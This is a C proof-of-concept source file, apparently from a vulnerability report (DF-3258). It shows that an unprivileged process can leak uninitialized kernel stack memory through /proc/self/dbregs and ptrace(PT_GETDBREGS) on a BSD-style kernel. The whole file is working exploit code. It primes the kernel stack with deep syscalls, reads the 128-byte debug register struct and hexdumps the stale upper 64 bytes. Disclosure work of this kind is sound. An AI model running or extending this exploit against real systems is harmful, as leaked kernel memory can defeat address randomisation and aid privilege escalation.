DF-3258 / dbregs_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | /* * DF-3258 PoC — uninitialized kernel stack disclosure via /proc/<pid>/dbregs * and ptrace(PT_GETDBREGS). * * fill_dbregs() (sys/platform/pc64/x86_64/machdep.c:3104-3129) initializes * only dr[0..7] of struct dbreg { unsigned long dr[16]; }. * procfs_dodbregs() (sys/vfs/procfs/procfs_dbregs.c:57-67) declares * `struct dbreg r;` uninitialized on the kernel stack and copies all * sizeof(r) == 128 bytes out with uiomove_frombuf(). dr[8..15] (bytes * 64..127) are stale kernel-stack memory from prior syscalls on this thread. * * ptrace(PT_GETDBREGS) (sys/kern/sys_process.c:541-555) uses the same code * path and leaks identically. * * Build: cc -O -o dbregs_leak dbregs_leak.c * Run: ./dbregs_leak (unprivileged) * Expect: dr[8..15] contain non-zero, varying kernel stack residue. */ #include <sys/param.h> #include <sys/ptrace.h> #include <machine/reg.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/sysctl.h> static void hexdump_tail(const char *tag, unsigned long *dr) { int i, nz = 0; printf("%s dr[0..7] :", tag); for (i = 0; i < 8; i++) printf(" %016lx", dr[i]); printf("\n%s dr[8..15]:", tag); for (i = 8; i < 16; i++) printf(" %016lx", dr[i]); for (i = 64; i < 128; i++) if (((unsigned char *)dr)[i]) nz++; printf(" -> non-zero bytes in dr[8..15]: %d/64\n", nz); } /* * Dirty the kernel stack of this thread with deeper syscall paths so the * stale region is more likely to hold recognizable residue. */ static void prime_kstack(void) { char buf[2048]; int fd; size_t len = sizeof(buf); /* deep VFS path */ fd = open("/proc/self/status", O_RDONLY); if (fd >= 0) { read(fd, buf, sizeof(buf)); close(fd); } /* sysctl copyout path (KERN_PROC all) */ sysctlbyname("kern.proc.all", buf, &len, NULL, 0); sysctlbyname("kern.boottime", buf, &len, NULL, 0); /* namei path */ access("/proc/self/rlimit", F_OK); readlink("/proc/self/file", buf, sizeof(buf)); } int main(int argc, char **argv) { unsigned long dr[16]; unsigned char buf[256]; ssize_t n; int fd, i, mode; mode = (argc > 1) ? atoi(argv[1]) : 0; if (mode == 0 || mode == 1) { /* --- path 1: /proc/self/dbregs read --- */ prime_kstack(); fd = open("/proc/self/dbregs", O_RDONLY); if (fd < 0) err(1, "open /proc/self/dbregs"); n = read(fd, buf, sizeof(buf)); close(fd); printf("/proc/self/dbregs: read %zd bytes (sizeof(struct dbreg)=%zu)\n", n, sizeof(struct dbreg)); if (n >= (ssize_t)sizeof(struct dbreg)) { memcpy(dr, buf, sizeof(dr)); hexdump_tail("[procfs]", dr); } } if (mode == 0 || mode == 2) { /* --- path 2: ptrace PT_GETDBREGS on a stopped child --- */ pid_t pid = fork(); if (pid == 0) { raise(SIGSTOP); /* child stops, parent traces */ kill(getpid(), SIGKILL); /* if resumed detached */ _exit(0); } int status; waitpid(pid, &status, WUNTRACED); if (ptrace(PT_ATTACH, pid, NULL, 0) != 0) err(1, "PT_ATTACH"); waitpid(pid, &status, 0); memset(dr, 0, sizeof(dr)); if (ptrace(PT_GETDBREGS, pid, (caddr_t)dr, 0) != 0) warn("PT_GETDBREGS"); else hexdump_tail("[ptrace]", dr); ptrace(PT_KILL, pid, NULL, 0); waitpid(pid, &status, 0); } return (0); } |